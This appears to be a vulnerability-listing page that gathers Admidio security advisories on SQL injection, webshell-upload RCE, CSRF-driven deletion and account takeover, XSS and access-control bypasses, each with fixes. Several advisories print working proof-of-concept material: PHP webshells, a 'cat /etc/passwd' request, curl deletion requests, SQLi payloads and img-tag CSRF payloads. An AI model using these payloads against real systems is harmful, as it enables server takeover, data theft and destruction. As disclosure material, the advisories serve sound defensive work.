See how admidio compares to other vendors in security performance
Description: An SQL Injection has been identified in the /admprogram/modules/ecards/ecardsend.php source file of the Admidio Application. The SQL Injection results in a compromise of the application's database. The value of ecardrecipients POST parameter is being directly concatenated with the SQL query in the source code causing the SQL Injection.
The SQL Injection can be exploited by a member user, using blind condition-based, time-based, and Out of band interaction SQL Injection payloads. I successfully exploited SQL Injections by causing Time Delays. Advancing the payload, I was able to exfiltrate data from the database based on trial and error conditions and step-wise enumerating the characters of the database name. This was done as a POC of SQL Injection. An attacker could simply drop the database by providing a single payload, steal data, and potentially update the database according to their will.
Impact: SQL injection (SQLi) vulnerabilities can have serious consequences for the security of a web application and its underlying database. Attackers can use SQLi to access sensitive data, and modify, delete, or add data to the database. SQLi can also be potentially used to perform RCE.
Remediation: Use parameterized queries or prepared statements instead of concatenating user input directly into SQL queries. Parameterized queries ensure that user input is treated as data and not executable queries. OR Sanitize the input before including it in the SQL Query.
Steps to Reproduce: - Intercept the POST request to /admprogram/modules/ecards/ecardsend.php, which is used to send photo as greeting card. - Change the value of ecardrecipients%5B%5D POST parameter to 2%2bsleep(10). - Sending the request will cause a time delay.
Proof Of Concept:
!image Figure 1: Code Vulnerable to SQL Injection
!image Figure 2: Code Vulnerable to SQL Injection
!image Figure 3: SQLi to trigger time delay
!image Figure 4: Data Exfiltration via Condition-based Time Delays
Admidio is a free, open source user management system for websites of organizations and groups. In Admidio before version 4.0.4, there is an authenticated RCE via .phar file upload. A php web shell can be uploaded via the Documents & Files upload feature. Someone with upload permissions could rename the php shell with a .phar extension, visit the file, triggering the payload for a reverse/bind shell. This can be mitigated by excluding a .phar file extension to be uploaded (like you did with .php .phtml .php5 etc). The vulnerability is patched in version 4.0.4.
Admidio 5.0.0 before 5.0.18 contains a path traversal vulnerability in the Documents & Files renameFile() action that allows authenticated users with folder upload rights to move files outside admmyfiles by supplying ../ sequences in admnewname. Attackers can relocate an uploaded SVG containing script to the web root, where it is served inline and executes stored cross-site scripting against administrators for account takeover.
Admidio 5.0.0 before 5.0.18 contains a path traversal vulnerability in the Documents & Files renameFile() action that allows authenticated users with folder upload rights to move files outside admmyfiles by supplying ../ sequences in admnewname. Attackers can relocate an uploaded SVG containing script to the web root, where it is served inline and executes stored cross-site scripting against administrators for account takeover.
Admidio 5.0.0 before 5.0.18 contains a stored cross-site scripting vulnerability that allows role administrators to inject JavaScript by placing quote-breaking payloads in role names rendered unencoded in the data-message attribute in modules/profile/rolesfunctions.php. Attackers can execute scripts when a full administrator views an affected profile page, stealing the CSRF token to assign themselves the Administrator role.
Admidio 5.0.0 before 5.0.18 contains a stored cross-site scripting vulnerability that allows role administrators to inject JavaScript by placing quote-breaking payloads in role names rendered unencoded in the data-message attribute in modules/profile/rolesfunctions.php. Attackers can execute scripts when a full administrator views an affected profile page, stealing the CSRF token to assign themselves the Administrator role.
Description: Remote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL {admidiobaseurl}/admmyfiles/messagesattachments/{filename}.
The vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.
An attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.
Note: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.
Impact: An attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:
- Execute arbitrary code or commands. - Access, modify, or delete sensitive data. - Install malicious software or scripts. - Gain further access to internal networks. - Disrupt services and applications hosted on the server.
Recommendation:
- Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded. - Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.
Steps to Reproduce: 1. As a member user, go to write an email message. 2. Upload a PHP file in the Attachment, containing the following content: <?php $command = isset($GET['command']) ? $GET['command'] : ''; $output = []; $returnvar = 0; exec($command, $output, $returnvar); echo '<h1>Exploiting RCE</h1>'; echo 'Command: '.$command; echo '\n<pre>'; echo implode("\n", $output); echo '</pre>'; ?> 3. Send the email. 4. In the message history go to the sent message. 5. Download the file, to get the uploaded file name. 6. Go to the following URL: {admidiobaseurl}/admmyfiles/messagesattachments/{filename}?command=cat+/etc/passwd 7. The server's passwd file would be returned in the response.
Proof Of Concept:
!image
Figure 1: Code of messagessend.php, not having file extension verification.
!image
Figure 2: Uploading Webshell as attachment.
!image
Figure 3: Download the uploaded file to get the uploaded file name.
!image
Figure 4: Uploaded File name.
!image
Figure 5: RCE via web shell.
!image
Figure 6: RCE via Webshell.
Summary
The documents and files module in Admidio does not verify whether the current user has permission to delete folders or files. The folderdelete and filedelete action handlers in modules/documents-files.php only perform a VIEW authorization check (getFolderForDownload / getFileForDownload) before calling delete(), and they never validate a CSRF token. Because the target UUIDs are read from $GET, deletion can be triggered by a plain HTTP GET request. When the module is in public mode (documentsfilesmoduleenabled = 1) and a folder is marked public (folpublic = true), an unauthenticated attacker can permanently destroy the entire document library. Even when the module requires login, any user with view-only access can delete content they are only permitted to read.
Details
Module Access Check
File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 72-76
The module only blocks unauthenticated access when the setting is 2 (members-only). When the setting is 1 (public), no login is required to reach any action handler:
php if ($gSettingsManager->getInt('documentsfilesmoduleenabled') === 0) { throw new Exception('SYSMODULEDISABLED'); } elseif ($gSettingsManager->getInt('documentsfilesmoduleenabled') === 2 && !$gValidLogin) { throw new Exception('SYSNORIGHTS'); }
Vulnerable Code Path 1: Folder Deletion
File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 122-133
php case 'folderdelete': if ($getFolderUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } else { $folder = new Folder($gDb); $folder->getFolderForDownload($getFolderUUID); // VIEW check only
$folder->delete(); // no CSRF token, no upload/admin check echo jsonencode(array('status' => 'success')); } break;
The target UUID is read exclusively from $GET at line 64:
php $getFolderUUID = admFuncVariableIsValid($GET, 'folderuuid', 'uuid', ...);
Vulnerable Code Path 2: File Deletion
File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 150-161
php case 'filedelete': if ($getFileUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } else { $file = new File($gDb); $file->getFileForDownload($getFileUUID); // VIEW check only
$file->delete(); // no CSRF token, no upload/admin check echo jsonencode(array('status' => 'success')); } break;
Same pattern as folderdelete. The file UUID is also read from $GET (line 69).
getFolderForDownload Grants VIEW Access to Public Folders Without Login
File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 432-438
php // If the folder is public (and the file is not locked) => allow if ($this->getValue('folpublic') && !$this->getValue('follocked')) { return true; }
This is the correct check for granting VIEW access to public folders. It is not an appropriate gate for a destructive delete operation.
Contrast with Other Write Operations (Properly Protected)
All other write operations in documents-files.php route through DocumentsService, which validates the CSRF token via getFormObject($POST['admcsrftoken']) before any mutation (DocumentsService.php lines 278, 332, 386, 448). The delete cases bypass this service entirely and receive no equivalent protection.
Folder::delete() Is Recursive and Permanent
File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 213-259
Folder::delete() recursively removes all sub-folders and files from both the database and the physical filesystem. There is no soft-delete or trash mechanism. A single call to folderdelete on the root folder permanently destroys the entire document library.
UI Shows Delete Buttons Only to Authorized Users (Not Enforced Server-Side)
File: D:/bugcrowd/admidio/repo/src/UI/Presenter/DocumentsPresenter.php, lines 546, 589
The presenter renders delete action links only when the user has upload rights (hasUploadRight()). This client-side restriction is not enforced server-side. Any HTTP client can send the GET request directly.
PoC
Scenario 1: Unauthenticated deletion of a public folder (zero credentials required)
Prerequisites: documentsfilesmoduleenabled = 1, target folder has folpublic = true.
Step 1: Discover folder UUIDs by fetching the public document list (no login needed):
curl "https://TARGET/admprogram/modules/documents-files.php?mode=list"
Step 2: Delete the entire folder tree permanently:
curl "https://TARGET/admprogram/modules/documents-files.php?mode=folderdelete&folderuuid=<FOLDERUUID>"
Expected response: {"status":"success"}
The folder, all its sub-folders, and all their files are permanently removed from the database and filesystem. No authentication or token is required.
Scenario 2: Authenticated view-only member deletes any accessible file
Prerequisites: documentsfilesmoduleenabled = 2 (members-only). Attacker has a regular member account with view rights to the target folder but no upload rights.
curl "https://TARGET/admprogram/modules/documents-files.php?mode=filedelete&fileuuid=<FILEUUID>" \ -H "Cookie: ADMIDIOSESSIONID=<viewonlysession>"
Expected response: {"status":"success"}
Scenario 3: Cross-site GET CSRF via image tag
Because deletion uses a plain GET request with no token, an attacker can embed the following in any HTML email or web page. When a logged-in Admidio member views the page, their browser fetches the URL with the session cookie attached:
html <img src="https://TARGET/admprogram/modules/documents-files.php?mode=folderdelete&folderuuid=<UUID>" width="1" height="1">
Impact
- Unauthenticated Data Destruction: When the module is in public mode and any folder is marked public, an unauthenticated remote attacker can permanently delete any or all documents and folders. No credentials or tokens are required. - Privilege Escalation (View to Delete): Any logged-in member with view-only access can delete content they are only permitted to read, bypassing the hasUploadRight() permission boundary. - Cross-Site CSRF: Because UUIDs appear in page URLs visible to authenticated users, an attacker can embed a GET-based CSRF payload in phishing content to trigger deletion on behalf of any victim. - No Recovery Path: Folder::delete() and File::delete() are permanent operations. The only recovery is from a database and filesystem backup. - Full Organizational Impact: Deletion of the root documents folder recursively removes the entire document library of the organization.
Recommended Fix
Fix 1: Add authorization check and CSRF token validation to both delete handlers
php case 'folderdelete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); if ($getFolderUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } $folder = new Folder($gDb); $folder->getFolderForDownload($getFolderUUID); if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$folder->hasUploadRight()) { throw new Exception('SYSNORIGHTS'); } $folder->delete(); echo jsonencode(array('status' => 'success')); break;
case 'filedelete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); if ($getFileUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } $file = new File($gDb); $file->getFileForDownload($getFileUUID); $parentFolder = new Folder($gDb); $parentFolder->readDataById((int)$file->getValue('filfolid')); if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$parentFolder->hasUploadRight()) { throw new Exception('SYSNORIGHTS'); } $file->delete(); echo jsonencode(array('status' => 'success')); break;
Fix 2: Move folderuuid and fileuuid to POST parameters for delete operations
Reading the UUID from $GET enables GET-based CSRF. Moving to $POST and validating the CSRF token together closes both issues simultaneously.
Summary
A critical unrestricted file upload vulnerability exists in the Documents & Files module of Admidio. Due to a design flaw in how CSRF token validation and file extension verification interact within UploadHandlerFile.php, an authenticated user with upload permissions can bypass file extension restrictions by intentionally submitting an invalid CSRF token. This allows the upload of arbitrary file types, including PHP scripts, which may lead to Remote Code Execution (RCE) on the server.
Details
1. Critical - Unrestricted File Upload leading to Remote Code Execution (RCE)
Root Cause Analysis:
The root cause lies in a design flaw in src/Infrastructure/Plugins/UploadHandlerFile.php. The UploadHandlerFile class overrides two methods from its parent UploadHandler class:
- handleformdata($file, $index) — Validates the CSRF token. On failure, it sets $file->error and returns. The request is not terminated. - handlefileupload(...) — Calls parent::handlefileupload() to physically write the file to disk, then checks if (!isset($file->error)) before running file extension validation (allowedFileExtension()).
The execution flow differs based on whether the CSRF token is valid:
- Valid CSRF token: handleformdata() does not set an error → extension check runs → invalid extension causes the uploaded file to be deleted from disk. - Invalid CSRF token: handleformdata() sets $file->error → the if (!isset($file->error)) guard in handlefileupload() causes the extension validation to be skipped entirely → the cleanup code (FileSystemUtils::deleteFileIfExists()) is never reached → the file, already written to disk by the parent class, remains on the server and is directly accessible.
In summary, the file is always saved to disk by the parent class first. The extension check and cleanup only execute when no prior error exists. A deliberate CSRF token failure bypasses the extension filter while the file remains on disk.
Affected code (src/Infrastructure/Plugins/UploadHandlerFile.php):
php // File is physically saved to disk here, before any Admidio-specific checks $file = parent::handlefileupload($uploadedfile, $name, $size, $type, $error, $index, $contentrange);
if (!isset($file->error)) { // Extension validation is only reached when no prior error is set. // If CSRF validation failed in handleformdata(), this block is skipped // and the uploaded file is never cleaned up from disk. if (!$newFile->allowedFileExtension()) { throw new Exception('SYSFILEEXTENSIONINVALID'); } }
PoC
Documents & Files Create folder <img width="762" height="729" alt="image" src="https://github.com/user-attachments/assets/2c927482-851b-4945-93d6-6e7a1e3bc21f" />
<img width="749" height="690" alt="image" src="https://github.com/user-attachments/assets/72443c87-e15f-4312-9659-8cd0661a4dae" />
File Upload Try 1-1 (before request) <img width="1856" height="635" alt="image" src="https://github.com/user-attachments/assets/d1ffaa12-aec1-45ff-a612-885d9554fb60" />
File Upload Try 1-2 (after request) <img width="1850" height="855" alt="image" src="https://github.com/user-attachments/assets/4ece4aac-1255-4189-9048-45ff3df4abcf" />
File Upload Try 1-3 (After changing CSRF to a test value, request → PHP file upload succeeds) <img width="1847" height="928" alt="image" src="https://github.com/user-attachments/assets/63f9d108-5e4f-4d32-96d2-09f9ad910873" />
✅ rcepoc.php Upload Success! <img width="926" height="814" alt="image" src="https://github.com/user-attachments/assets/4de99c31-dc3c-44f2-9936-19c3da0dfffb" />
Access the rcepoc upload path confirmed in the response and check the web shell. <img width="1635" height="922" alt="image" src="https://github.com/user-attachments/assets/0b770caf-e737-4cbd-97b9-ae191a8b79f5" />
🆗 WebShell Success <img width="685" height="187" alt="image" src="https://github.com/user-attachments/assets/e90f162b-7949-41c4-9fd1-aad3b6365adf" />
<img width="794" height="209" alt="image" src="https://github.com/user-attachments/assets/f45dae74-a830-4761-af31-f2ac28eb2586" />
Steps to Reproduce:
1. Log in to Admidio as an authenticated user with upload permissions on the Documents & Files module. 2. Navigate to a folder in the Documents & Files module and open the file upload dialog. 3. Intercept the upload POST request to /system/fileupload.php?module=documentsfiles&mode=uploadfiles&uuid=<folderuuid> using a proxy tool such as Burp Suite. 4. Replace the value of the admcsrftoken field with an arbitrary invalid string (e.g., webshellgogo). 5. Set the file to be uploaded to a PHP webshell (e.g., <?php system($GET[1]); ?>). 6. Forward the modified request. 7. Observe that the server responds with HTTP 200 OK. The JSON body contains "error":"Invalid or missing CSRF token!", yet the file is physically present on the server at the path indicated in the url field. 8. Access the uploaded PHP file directly via the URL provided in the response — arbitrary command execution is confirmed.
Impact
- An authenticated attacker with upload permissions can bypass file extension validation and upload arbitrary server-side scripts such as PHP webshells. - This leads to Remote Code Execution (RCE), potentially resulting in full server compromise, sensitive data exfiltration, and lateral movement. - While authentication is required, the attack is not limited to administrators — any member granted upload rights may exploit this vulnerability, making the attack surface broader than it may initially appear.
Remediation Measures
- The extension validation logic should be executed independently of the CSRF error state. It is recommended to move the extension check and the corresponding cleanup outside of the if (!isset($file->error)) block so that files with disallowed extensions are always removed from disk, regardless of other errors. - Rather than relying on a blacklist of dangerous extensions (e.g., .php, .phar, .phtml), it is strongly recommended to implement a whitelist of permitted extensions appropriate to a documents module (e.g., .pdf, .docx, .xlsx, .pptx, .txt). - CSRF token validation should either be performed before the file is written to disk, or a validation failure should result in immediate request termination rather than merely setting an error flag on the file object.
Admidio is a free open source user management system for websites of organizations and groups. A cross-site scripting vulnerability is present in Admidio prior to version 4.0.12. The Reflected XSS vulnerability occurs because redirect.php does not properly validate the value of the url parameter. Through this vulnerability, an attacker is capable to execute malicious scripts. This issue is patched in version 4.0.12.
Admidio before 5.0.11 contains an authentication bypass vulnerability in the forum module when configured in login-only mode. The access control logic in modules/forum.php fails to validate the login-only configuration state, allowing unauthenticated attackers to read forum topics and posts by directly accessing the module with read-only parameters.
Admidio before 5.0.12 fails to enforce login-only module restrictions in RSS feed endpoints for forum and announcements modules. Unauthenticated attackers can retrieve forum topics and announcements by sending GET requests to rss/forum.php or rss/announcements.php, disclosing titles, full post text, author names, and timestamps.
Admidio before 5.0.12 contains a blind SQL injection vulnerability in the relationtypelist parameter of listsshow.php that allows unauthenticated attackers to execute arbitrary SQL queries. Attackers can bypass authentication by providing a dummy UUID in rolelist and inject SQL through relationtypelist to extract database contents including password hashes and user credentials.
Admidio before 5.0.11 contains an authentication bypass vulnerability in the forum module when configured in login-only mode. The access control logic in modules/forum.php fails to validate the login-only configuration state, allowing unauthenticated attackers to read forum topics and posts by directly accessing the module with read-only parameters.
Admidio 4.3.2 through 4.3.17 and 5.0.0 before 5.0.15 contains a broken access control vulnerability that allows role administrators to assign users to roles in other organizations. Attackers can submit crafted assign requests to membersassignment.php with a foreign role UUID to gain privileged membership, log into that organization, and edit its user profiles.
Summary
The MyList configuration feature in Admidio allows authenticated users to define custom list column layouts. User-supplied column names, sort directions, and filter conditions are stored in the admlistcolumns table via prepared statements (safe storage), but are later read back and interpolated directly into dynamically constructed SQL queries without sanitization or parameterization. This is a classic second-order SQL injection: safe write, unsafe read.
An attacker can inject arbitrary SQL through these stored values to read, modify, or delete any data in the database, potentially achieving full database compromise.
Details
Step 1: Storing the Payload (Safe Write)
In modules/groups-roles/mylistfunction.php (lines 89-115), user-supplied POST array values for column names, sort directions, and filter conditions are accepted. The only validation on column values is a prefix check (must start with usr or mem). Sort and condition values have no validation at all. These values are stored in the database via ListConfiguration::addColumn() which calls Entity::save() using prepared statements -- so the INSERT/UPDATE is safe.
Key source file references: - D:\bugcrowd\admidio\repo\modules\groups-roles\mylistfunction.php lines 89-115 - D:\bugcrowd\admidio\repo\src\Roles\Entity\ListConfiguration.php lines 106-116
Step 2: Triggering the Payload (Unsafe Read)
When the list is viewed (via listsshow.php), ListConfiguration::getSql() reads the stored values and interpolates them directly into SQL in four locations:
Injection Point 1 -- lscspecialfield in SELECT clause: File D:\bugcrowd\admidio\repo\src\Roles\Entity\ListConfiguration.php lines 739-770. The lscspecialfield value is read from the database and used as a column name in the SELECT clause. Only three values (memduration, membegin, memend) get special handling; all others fall through to the default case where the raw value is used directly as both $dbColumnName and $sqlColumnName, then interpolated into the SQL as $dbColumnName AS $sqlColumnName.
Injection Point 2 -- lscsort in ORDER BY clause: File D:\bugcrowd\admidio\repo\src\Roles\Entity\ListConfiguration.php lines 790-792. The lscsort value is appended directly after the column name in the ORDER BY clause.
Injection Point 3 -- lscspecialfield in search conditions: File D:\bugcrowd\admidio\repo\src\Roles\Entity\ListConfiguration.php lines 611-621. The lscspecialfield value is interpolated into COALESCE() expressions used in search WHERE conditions.
Injection Point 4 -- lscfilter via ConditionParser: File D:\bugcrowd\admidio\repo\src\Roles\ValueObject\ConditionParser.php line 347. The ConditionParser appends raw characters from the stored filter value to the SQL string. A single quote can break out of the SQL string context.
Root Cause
The addColumn() method and mylistfunction.php accept arbitrary strings for column names, sort directions, and filter conditions. The only gate for column names is a prefix check (usr or mem), which is trivially satisfied by an attacker (e.g., usrid) UNION SELECT ...). No allowlist of valid column names exists. No server-side validation of sort values exists (should only allow ASC/DESC/empty). The frontend <select> element only offers ASC/DESC, but this is trivially bypassed by POSTing arbitrary values.
PoC
Prerequisites: Logged-in user with list edit permission (default: all logged-in users).
Step 1: Save a list config with SQL injection in lscspecialfield
curl -X POST "https://TARGET/admprogram/modules/groups-roles/mylistfunction.php?mode=savetemporary" \ -H "Cookie: ADMIDIOSESSIONID=<session>" \ -d "admcsrftoken=<csrftoken>" \ -d "column[]=usrloginname" \ -d "column[]=usrid FROM admusers)--" \ -d "sort[]=" \ -d "sort[]=" \ -d "condition[]=" \ -d "condition[]=" \ -d "selroles[]=<validroleuuid>"
The second column value usrid FROM admusers)-- starts with usr so it passes the prefix check. When read back in getSql(), it is interpolated directly as a column expression in the SQL SELECT clause.
Step 2: Sort-based injection (simpler, no prefix check needed)
curl -X POST "https://TARGET/admprogram/modules/groups-roles/mylistfunction.php?mode=savetemporary" \ -H "Cookie: ADMIDIOSESSIONID=<session>" \ -d "admcsrftoken=<csrftoken>" \ -d "column[]=usrloginname" \ -d "sort[]=ASC,(SELECT+CASE+WHEN+(1=1)+THEN+1+ELSE+1/0+END)" \ -d "condition[]=" \ -d "selroles[]=<validroleuuid>"
This injects into the ORDER BY clause. The sort value has zero server-side validation.
Step 3: The savetemporary mode automatically redirects to listsshow.php which calls ListConfiguration::getSql(), executing the injected SQL.
Impact
- Data Exfiltration: An attacker can extract any data from the database including password hashes, email addresses, personal data of all members, and application configuration. - Data Modification: With stacked queries (supported by MySQL with PDO), the attacker can modify or delete data. - Privilege Escalation: Password hashes can be extracted and cracked, or admin accounts can be directly modified. - Full Database Compromise: The entire database is accessible through this vulnerability.
The attack requires authentication and CSRF token, but: 1. Any logged-in user has this permission by default (when groupsroleseditlists = 1). 2. The CSRF token is available in the same session. 3. The injected payload persists in the database and triggers every time anyone views the list.
Recommended Fix
Fix 1: Allowlist for lscspecialfield
Add a strict allowlist of valid special field names before calling addColumn() in mylistfunction.php. The list should match exactly the field names supported in getSql() and the JavaScript on mylist.php.
Fix 2: Validate lscsort values
In ListConfiguration::addColumn(), validate that the sort parameter is one of ASC, DESC, or empty string before storing it.
Fix 3: Defense-in-depth validation in ListConfiguration::getSql()
Also validate the lscspecialfield value against an allowlist in getSql() before interpolating it into the SQL string. This protects against payloads already stored in the database.
Fix 4: Escape filter values in ConditionParser
Use parameterized queries or at minimum escape single quotes in ConditionParser::makeSqlStatement().
Admidio Improper Neutralization of Formula Elements in a CSV File vulnerability
SQL Injection was discovered in Admidio before version 3.3.13. The main cookie parameter is concatenated into a SQL query without any input validation/sanitization, thus an attacker without logging in, can send a GET request with arbitrary SQL queries appended to the cookie parameter and execute SQL queries. The vulnerability impacts the confidentiality of the system. This has been patched in version 3.3.13.
Summary
Admidio relies on admmyfiles/.htaccess to deny direct HTTP access to uploaded documents. The Docker image ships with AllowOverride None in the Apache configuration, which causes Apache to silently ignore all .htaccess files. As a result, any file uploaded to the documents module regardless of the role-based permissions configured in the UI, is directly accessible over HTTP without authentication by anyone who knows the file path. The file path is disclosed in the upload response JSON.
---
Root Cause
File 1: Intended protection (ignored): admmyfiles/.htaccess apache Require all denied <img width="408" height="403" alt="imagen" src="https://github.com/user-attachments/assets/95f0d389-a1a9-4dc4-9840-7f189d2c58ff" />
File 2: Apache config that neutralizes it:
Command in order to search in Docker container: docker exec admidio-sec-app cat /etc/apache2/apache2.conf
/etc/apache2/apache2.conf (Docker image) apache <Directory ${APACHEDOCUMENTROOT}> AllowOverride None </Directory>
<img width="492" height="328" alt="imagen" src="https://github.com/user-attachments/assets/2f2e09b1-0c2e-4932-8698-a40f6b92e917" />
AllowOverride None instructs Apache to skip .htaccess processing entirely, the deny rule never executes. The upload directory is inside the web root at /opt/app-root/src/admmyfiles/ and returns HTTP 200 for direct requests.
File 3: Upload response leaks the direct URL: system/fileupload.php, upload response JSON:
<img width="1528" height="624" alt="imagen" src="https://github.com/user-attachments/assets/50e66fde-ff41-4efa-adc9-ceeb5b23a97d" />
json { "files": [{ "name": "sensitivepoc.txt", "url": "http://TARGET/admmyfiles/documentsresearch/TEST-SENSITIVE/sensitivepoc.txt" }] }
Verified PoC
Step 1: Admin creates a restricted folder (visible only to Administrator role): modules/documents-files.php → permissions set to role Administrator only.
<img width="1161" height="784" alt="imagen" src="https://github.com/user-attachments/assets/25d81e44-9a7c-4991-b72e-6e664d176695" />
Step 2: Admin uploads a file to the restricted folder. Upload response returns: http://TARGET/admmyfiles/documentsresearch/TEST-SENSITIVE/sensitivepoc.txt
<img width="1239" height="294" alt="imagen" src="https://github.com/user-attachments/assets/84c1bcd1-47d7-4115-ac0f-653b0a6d7301" />
Step 3: Unauthenticated request retrieves the file: bash curl -X GET 'http://TARGET/admmyfiles/documentsresearch/TEST-SENSITIVE/sensitivepoc.txt' Response: full file contents — no authentication required
<img width="1051" height="150" alt="imagen" src="https://github.com/user-attachments/assets/1ed7fab7-59cb-4d5b-8c60-12108490d1e4" />
Step 4: Confirm folder is role-restricted: sql SELECT filname, folname, folpublic FROM admfiles JOIN admfolders ON filfolid = folid ORDER BY filid DESC LIMIT 5; -- folpublic = 0, role restricted — yet file is publicly accessible ---
Impact
- Any document uploaded to Admidio including files restricted to specific roles is publicly accessible via direct HTTP request with no authentication required - Role-based access control on the documents module is completely bypassed at the filesystem level - Sensitive organizational documents (contracts, member data, financial records) are exposed to anyone who can guess or construct the file path - The upload API response discloses the direct URL to the uploader, making path enumeration trivial
Recommended Fix
Option 1 (preferred): Enable AllowOverride in Apache config: apache <Directory /opt/app-root/src/admmyfiles> AllowOverride All </Directory>
Option 2: Move uploads outside the web root: Store uploaded files in a directory outside DOCUMENTROOT and serve them exclusively through Admidio's download handler (modules/documents-files.php?mode=download), which enforces role checks before serving the file.
Option 3: Apache-level explicit deny (does not require .htaccess): apache <Directory /opt/app-root/src/admmyfiles> Require all denied </Directory> The most robust long-term fix is Option 2 — moving uploads outside the web root eliminates the dependency on Apache configuration correctness entirely.
Reported by: Juan Felipe Oz @JF0x0r LinkedIn
Summary
The createuser, assignmember, and assignuser action modes in modules/registration.php approve pending user registrations via GET request without validating a CSRF token. Unlike the deleteuser mode in the same file (which correctly validates the token), these three approval actions read their parameters from $GET and perform irreversible state changes without any protection. An attacker who has submitted a pending registration can extract their own user UUID from the registration confirmation email URL, then trick any user with the rolapproveusers right into visiting a crafted URL that automatically approves the registration. This bypasses the manual registration approval workflow entirely.
Details
CSRF Protection Is Present for deleteuser but Absent for Approval Modes
File: modules/registration.php, lines 90-128
The deleteuser mode validates the CSRF token (line 99), but the three approval modes do not:
php // assignmember and assignuser: no CSRF check } elseif (inarray($getMode, array('assignmember', 'assignuser'))) { $registrationService = new RegistrationService($gDb, $getUserUUID); $message = $registrationService->assignRegistration($getUserUUIDAssigned, $getMode === 'assignmember'); $gMessage->setForwardUrl($message['forwardUrl']); $gMessage->show($message['message']);
// createuser: no CSRF check } elseif ($getMode === 'createuser') { $registrationUser->acceptRegistration(); if ($gCurrentUser->isAdministratorRoles()) { admRedirect(SecurityUtils::encodeUrl(ADMIDIOURL . FOLDERMODULES.'/profile/roles.php', array('acceptregistration' => true, 'useruuid' => $getUserUUID))); }
// deleteuser: CSRF IS validated } elseif ($getMode === 'deleteuser') { SecurityUtils::validateCsrfToken($POST['admcsrftoken']); // <-- protected $registrationUser->delete(); }
The three approval modes read both UUIDs exclusively from $GET (lines 41-43):
The approve action modes accept $GET parameters useruuid and useruuidassigned without any POST body or CSRF token. Both parameters pass through admFuncVariableIsValid() with uuid type validation, which prevents SQL injection but provides no CSRF protection.
User UUID Is Known to the Attacker from Registration Email
File: D:/bugcrowd/admidio/repo/src/Infrastructure/Service/RegistrationService.php, lines 154-157
When a user submits a registration, Admidio sends a confirmation email containing a URL of the form:
https://TARGET/admprogram/modules/registration.php?id=VALIDATIONID&useruuid=REGISTRANTUUID
The useruuid in this URL is the registrant's own UUID. The attacker has this UUID because they received the confirmation email for their own registration.
isAdministratorRegistration() Is a Delegated Right
File: D:/bugcrowd/admidio/repo/src/Users/Entity/User.php, lines 1603-1606
php public function isAdministratorRegistration(): bool { return $this->checkRolesRight('rolapproveusers'); }
The rolapproveusers right is a delegated organizational privilege, not full system administrator access. Any member designated to review registrations -- for example, a membership secretary or club administrator -- is a valid CSRF victim.
PoC
Scenario: Attacker bypasses manual registration approval
Prerequisites: (1) Manual registration approval is enabled. (2) The attacker submits a registration form and receives a confirmation email with their useruuid. (3) After clicking the confirmation link, their registration enters the pending queue.
Step 1: Attacker extracts their own useruuid from the registration email
The confirmation email contains a link of the form:
https://TARGET/admprogram/modules/registration.php?id=VALIDATIONID&useruuid=ATTACKERUUID
The ATTACKERUUID is visible to the attacker from their own email.
Step 2: CSRF auto-approval via image tag
The attacker hosts a page that the victim (admin with rolapproveusers right) visits:
html <img src="https://TARGET/admprogram/modules/registration.php?mode=createuser&useruuid=ATTACKERUUID" width="1" height="1">
When the victim loads this page, Admidio silently accepts the attacker registration and assigns default organization roles. No confirmation or token is required.
Step 3: Force-assign registration to an existing account (account takeover)
If the attacker knows the UUID of an existing member (obtainable from profile page URLs when the user list is visible) and has a pending registration:
html <img src="https://TARGET/admprogram/modules/registration.php?mode=assignuser&useruuid=ATTACKERREGUUID&useruuidassigned=EXISTINGUSERUUID" width="1" height="1">
This merges the pending registration into the existing account, replacing that account login credentials with the attacker credentials.
Impact
- Manual Approval Bypass: An attacker with a pending registration can force auto-approval without waiting for an administrator to manually review it. This grants them organization membership, including access to events, documents, mailing lists, and other role-restricted features. - Account Takeover via assignuser CSRF: If the attacker knows any member UUID (visible in profile page URLs), the assignuser mode merges the attacker registration into that member account, replacing the existing member login with the attacker credentials. This is a full account takeover requiring only that the victim admin visit a crafted URL. - Low Attack Complexity: The attacker only needs their own registration email to get their UUID. The CSRF payload is a plain GET request via an image tag -- no JavaScript required. - Delegated Right: The required victim right (rolapproveusers) is a common delegation target in organizations with membership approval workflows.
Recommended Fix
Add SecurityUtils::validateCsrfToken($POST["admcsrftoken"]) at the beginning of each approval action, consistent with how deleteuser is already protected in the same file.
php // File: modules/registration.php
} elseif (inarray($getMode, array('assignmember', 'assignuser'))) { // ADD: validate CSRF token SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $registrationService = new RegistrationService($gDb, $getUserUUID); $message = $registrationService->assignRegistration($getUserUUIDAssigned, $getMode === 'assignmember'); ...
} elseif ($getMode === 'createuser') { // ADD: validate CSRF token SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $registrationUser->acceptRegistration(); ...
} elseif ($getMode === 'deleteuser') { SecurityUtils::validateCsrfToken($POST['admcsrftoken']); // already protected $registrationUser->delete(); }
Additionally, convert the approval action URLs from GET-based links to POST-form buttons (with the CSRF token in a hidden field). The existing deleteuser button uses callUrlHideElement() which already sends the token in the POST body -- use the same pattern for approval buttons.
Summary
